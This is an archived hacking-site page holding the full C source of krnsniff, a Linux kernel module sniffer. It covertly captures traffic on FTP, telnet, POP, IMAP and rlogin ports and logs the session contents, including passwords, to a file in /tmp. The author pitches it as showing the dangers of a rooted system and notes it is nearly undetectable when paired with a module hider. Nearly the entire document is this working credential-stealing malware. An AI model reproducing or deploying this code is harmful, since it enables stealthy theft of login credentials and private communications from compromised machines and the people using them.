Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Hacking Techniques :: krnsniff.c

krnsniff 0.1a SNF: A Linux kernel based sniffer module whose purpose is to expose the dangers of a compromised system. It is virtually impossible to detect, if used with a module hider.




/* 
 * krnsniff.c v0.1a - A kernel based sniffer module
 * 
 * by Kossak
 * ldvg@rnl.ist.utl.pt || http://www.rnl.ist.utl.pt/~ldvg
 * 
 * This file is licensed by the GNU General Public License.
 *
 * Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
 * However, I'm not responsible for setting fire on your computer, loss of
 * mental health, bla bla bla...
 * 
 * CREDITS:	- Mike Edulla's ever popular linsniffer for some logging ideas.
 *		- Plaguez and Halflife for an excelent phrack article on
 *		  kernel modules.
 *		- the kernel developers for a great job. 
 *
 * USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ; 
 *	  insmod krnsniff.o [dev=<device>]
 *
 * TODO :	- implement a timeout feature (IMPORTANT)
 *	 	- better support for certain stupid ppp devices that don't set
 *		  dev->hard_header_len correctly.
 *		- Parallel logging (like linsniff.c, this thing is still just
 *		  logging one connection at a time).
 *		- fix strange kmem grows kernel bitchings.
 *
 * NOTE: the purpose of this module is to expose the dangers of a rooted 
 *	 system. It is virtually impossible to detect, if used with a module
 *	 hidder.
 *	 I also intend to develop this further (ie: use a device instead of 
 *	 writing to a file; more options) to become a simple and easy way to
 * 	 detect unauthorized network intrusions.
 *
 *	 Oh, and script kiddies, don't read the FUCKING source, I hope you 
 * 	 have shit loads of kernel faults and you lose all your 31337 0wn3d
 *	 s1t3z... grrr.
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>

/* from a piece of pmsac's code... this is pratic :) */
#define DBGPRN1(X)		if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y)		if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z)  	if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W)	if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V)      if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE  -1
#define FALSE  0

#define CAPTLEN		512	/* no. of bytes to log */

/* do a 'touch LOGFILE' _before_ you load the module. */
#define LOGFILE		"/tmp/sniff.log"

/* global data */
int debug, errno,
    out_c, in_c, thru_c;	/* packet counters */

struct t_data {
	char		content[1500];
	unsigned long	seq;
	struct t_data	*next;
};

struct {
	unsigned short  active;
	unsigned long	saddr;
	unsigned long	daddr;
	unsigned short	sport;
	unsigned short	dport;
	unsigned long	totlen;
	struct t_data	*data;
} victim;

char *dev;
MODULE_PARM(dev, "s");  /* gets the parameter dev=<devname> */
struct device *d;

struct packet_type sniff_proto;

/* Inicial Declarations */

// ERASE ivoid in_ntoa(char *, __u32);
char *in_ntoa(__u32 in);
void tcp_getflags(char *, struct sk_buff *);
void print_packet_info(struct sk_buff *);
int filter(struct sk_buff *);
void m_strncpy(char *, char *, int); 
int m_strlen(char *);

void start_victim(struct sk_buff *);
void write_victim(struct sk_buff *);
void end_victim(void);


/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

	/* fix some pointers */	
        skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
	skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2); 
        skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);

        switch (skb->pkt_type) {
		case PACKET_OUTGOING:
                	out_c++;
                	/* dont count with the hardware header */
                        if(strstr(dv->name, "ppp")) {
				skb->len -= 10; /* YMMV */
				break;
                                }

			skb->len -= dv->hard_header_len;
			break;
		case PACKET_HOST:
			in_c++;
			break;
        	case PACKET_OTHERHOST:
                	thru_c++;
			break;
		default:
			kfree_skb(skb);
			return 0;
		}

	if(filter(skb)) {
		kfree_skb(skb);
		return 0;
		} 

	/* rare case of NULL's in buffer contents */
	if (m_strlen(skb->data) < skb->len)  
		skb->len = m_strlen(skb->data);

	if (skb->len > CAPTLEN - victim.totlen)
		skb->len = CAPTLEN - victim.totlen;

	if (skb->len)
		write_victim(skb);

pkt_out:
        kfree_skb(skb);
        return 0;
	}

int filter (struct sk_buff *skb) {
/* this is the filter function. it checks if the packet is worth logging */

	struct t_data *ptr, *i;

	int port = FALSE;

	if (skb->nh.iph->protocol != IPPROTO_TCP)
		return TRUE;

	if 	(ntohs(skb->h.th->dest) == 21  ||
		 ntohs(skb->h.th->dest) == 23  ||
		 ntohs(skb->h.th->dest) == 106 ||
		 ntohs(skb->h.th->dest) == 109 ||
		 ntohs(skb->h.th->dest) == 110 ||
		 ntohs(skb->h.th->dest) == 143 ||
		 ntohs(skb->h.th->dest) == 513)
			port = TRUE;

	if (victim.active) {
		if((skb->h.th->dest != victim.dport) ||
		   (skb->h.th->source != victim.sport) ||
		   (skb->nh.iph->saddr != victim.saddr) ||
		   (skb->nh.iph->daddr != victim.daddr))
			return TRUE;

	        if (victim.totlen >= CAPTLEN) {
			
			ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
                		if(!ptr) {
					DBGPRN1("Out of memory\n");
                        		end_victim();
                        		return;
                        		}
        	        m_strncpy(ptr->content,
                	        "\n\n*** END : CAPLEN reached ---\n", 50);
			ptr->next = NULL;

			i = victim.data;
			while(i->next)
				i = i->next;
			i->next = ptr;
	
             		end_victim();
                	return TRUE;
                	}

		if(skb->h.th->rst) {
                        ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
                                if(!ptr) {
					DBGPRN1("Out of memory\n");
                                        end_victim();
                                        return;
                                        }
                        m_strncpy(ptr->content,
                                "\n\n*** END : RST caught ---\n", 50);
                        ptr->next = NULL;

                        i = victim.data;
                        while(i->next)
                                i = i->next;
                        i->next = ptr;

                        end_victim();
                        return TRUE;
                        }

                if(skb->h.th->fin) {
                        ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
                                if(!ptr) {
					DBGPRN1("Out of memory\n");
                                        end_victim();
                                        return;
                                        }
                        m_strncpy(ptr->content,
                                "\n\n*** END : FIN caught ---\n", 50);
                        ptr->next = NULL;

                        i = victim.data;
                        while(i->next)
                                i = i->next;
                        i->next = ptr;

                        end_victim();
                        return TRUE;
                        }
		}
	else {
		if (port && skb->h.th->syn)
			start_victim (skb);
		else
			return TRUE;
		}

	return FALSE;
	}

void start_victim(struct sk_buff *skb) {

	victim.active   = TRUE;
        victim.saddr    = skb->nh.iph->saddr;
        victim.daddr    = skb->nh.iph->daddr;
        victim.sport    = skb->h.th->source;
        victim.dport    = skb->h.th->dest;

	victim.data = kmalloc(sizeof(struct t_data), GFP_KERNEL);
                /* we're a module, we can't afford to crash :P */
                if(!victim.data) {
			DBGPRN1("Out of memory\n");
                        end_victim();
                        return;
                        }
	victim.data->seq = ntohl(skb->h.th->seq);
	victim.data->next = NULL;

	sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n",
		in_ntoa(victim.saddr),
		ntohs(victim.sport),
		in_ntoa(victim.daddr),
		ntohs(victim.dport));

	victim.totlen = m_strlen(victim.data->content);
	}

void write_victim(struct sk_buff *skb) {

	struct t_data *ptr, *i;

	ptr = victim.data;

	while(ptr) {
		if (ntohl(skb->h.th->seq) == ptr->seq)
			return; /* seq not incremented (no data) */
		ptr = ptr->next;
		}

	ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
		if(!ptr) {
			DBGPRN1("Out of memory\n");
			end_victim();
			return;
			}

        ptr->next = NULL;
        ptr->seq = ntohl(skb->h.th->seq);
        m_strncpy(ptr->content, skb->data, skb->len);

	/*
	 * putting it in the ordered list. Not the prettiest code, but my head
	 * is about to explode.
	 */

/* IMPOSSIBLE. TO ERASE LATER 
	if(!victim.data) {
		victim.data = ptr;
		return;
		}
*/
	i = victim.data;

	if(ptr->seq < i->seq) {
        	/*
                 * we caught a packet "younger" than the starting SYN.
                 * Likely? no. Possible? yep. forget the bastard.
                 */
                kfree(ptr);
                return;
                }
	/* actual ordering of tcp packets */
	while (ptr->seq > i->seq) {
		if (!i->next) {
			i->next = ptr;
			goto end_wri;
			}
		if (i->next->seq > ptr->seq)
			break;
		i = i->next;
		}

	ptr->next = i->next;
	i->next = ptr;

end_wri:
	victim.totlen += m_strlen(ptr->content);
	return;
	}

    
void end_victim(void) {
/*
 * Im now saving the data to a file. This is mainly BSD's process accounting
 * code, as seen in the kernel sources.
 */
	struct t_data *ptr;
	struct file *file = NULL;
	struct inode *inode;
	mm_segment_t fs;

	file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);

        if (IS_ERR(file)) {
		errno = PTR_ERR(file);	
		DBGPRN2("error %i\n", errno);
		goto vic_end;
		}
 
        if (!S_ISREG(file->f_dentry->d_inode->i_mode)) {
		fput(file);
		goto vic_end;
		}	

        if (!file->f_op->write) {
		fput(file);
		goto vic_end;
		}
	
        	fs = get_fs();
        	set_fs(KERNEL_DS);
        	inode = file->f_dentry->d_inode;
        	down(&inode->i_sem);
	while (victim.data) {

        	file->f_op->write(file, (char *)&victim.data->content,
			m_strlen(victim.data->content), &file->f_pos);
                ptr = victim.data;
                victim.data = victim.data->next;
                kfree(ptr);
		}

		up(&inode->i_sem);
		set_fs(fs);

/* Why comments here? shit, good question. I coded this a long time ago :)
		ptr = victim.data;
		victim.data = victim.data->next;
		kfree(ptr);
		}
*/

	fput(file);

	DBGPRN1("Entry saved\n");

vic_end:
	victim.saddr=0;
	victim.daddr=0;
	victim.sport=0;
	victim.dport=0;
	victim.active=FALSE;
	victim.totlen=0;
	victim.data=NULL;
	}

char *in_ntoa(__u32 in) {
        static char buff[18];
        char *p;

        p = (char *) &in;
        sprintf(buff, "%d.%d.%d.%d",
                (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
        return(buff);
	}

void m_strncpy(char *dest, char *src, int size) {
        char *i, *p;
        p = dest;
        for(i = src; *i != 0; i++) {
		if (!size) break;
		size--;
                *p = *i;
                p++;
                }
 	*p = '\0';
        }

int m_strlen(char *ptr) {
	int i = 0;
	while (*ptr) {
		ptr++;
		i++;
		}
	return i;
	}

/* init_module */
int init_module(void) {

#ifdef DEBUG
        debug = TRUE;
#else
        debug = FALSE;
#endif

	in_c = out_c = thru_c = 0;

        victim.saddr=0;
        victim.daddr=0;
        victim.sport=0;
        victim.dport=0;
        victim.active=FALSE;
	victim.data=NULL;

	if (dev) {
		d = dev_get(dev);
		if (!d) {
			DBGPRN2("Did not find device %s!\n", dev);
			DBGPRN1("Sniffing all known devices...");
			}
		else {
			DBGPRN3("Sniffing device %s, ifindex: %i\n", 
				dev, d->ifindex);
			sniff_proto.dev = d;
			}
		}
	else
		DBGPRN1("Sniffing all known devices...\n");

	sniff_proto.type = htons(ETH_P_ALL);

	/* this one just gets us incoming packets */
/*	sniff_proto.type = htons(ETH_P_IP); */

        sniff_proto.func = pkt_func;
        dev_add_pack(&sniff_proto);

	return(0);
	}

void cleanup_module(void) {
	dev_remove_pack(&sniff_proto);
	end_victim();

	DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",
		in_c, out_c, thru_c); 	
	DBGPRN1("Sniffer Unloaded\n");
	}




TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH